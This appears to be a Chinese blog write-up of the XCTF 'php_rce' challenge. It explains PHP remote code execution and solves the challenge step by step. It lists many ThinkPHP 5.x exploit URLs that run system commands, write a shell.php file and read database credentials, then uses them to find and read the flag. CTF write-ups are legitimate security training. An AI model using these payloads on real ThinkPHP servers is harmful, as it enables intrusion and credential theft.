【CTF | 网络安全】攻防世界 php_rce 解题详析

在这里插入图片描述


PHP REC

PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),此时通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器的控制。

举个例子:

// 服务端代码
$user_input = $_GET['user_input']; // 没有对输入进行过滤
eval('$result = ' . $user_input . ';'); // 远程代码执行

// 构造恶意代码
http://example.com/index.php?user_input=system('ls%20-la');
//远程执行 "ls -la" 命令。

在 Unix/Linux 系统中,ls -la 命令可以列出当前目录下的所有文件和子目录,并显示它们的详细信息,包括权限、创建时间、大小等等。


ThinkPHP V5漏洞Payload

thinkphp 5.0.22

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5

1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.

1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

5.0.20

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

姿势

使用thinkphp 5.1.payload进行尝试,

URL + /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

回显如下:

在这里插入图片描述
根据提示,使用5.0.20版本的Payload

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

回显如下:

在这里插入图片描述
说明命令执行成功,接着抓取flag即可

Payload

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

在这里插入图片描述
由上图可知,flag字段储存在flag文件夹下的flag文件中

使用cat命令读取flag

Payload

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

命令解析及详析姿势参考:[CTF/网络安全] 攻防世界 command_execution 解题详析


回显如下,拿到flag:
在这里插入图片描述

  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏,祝你平安喜乐。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值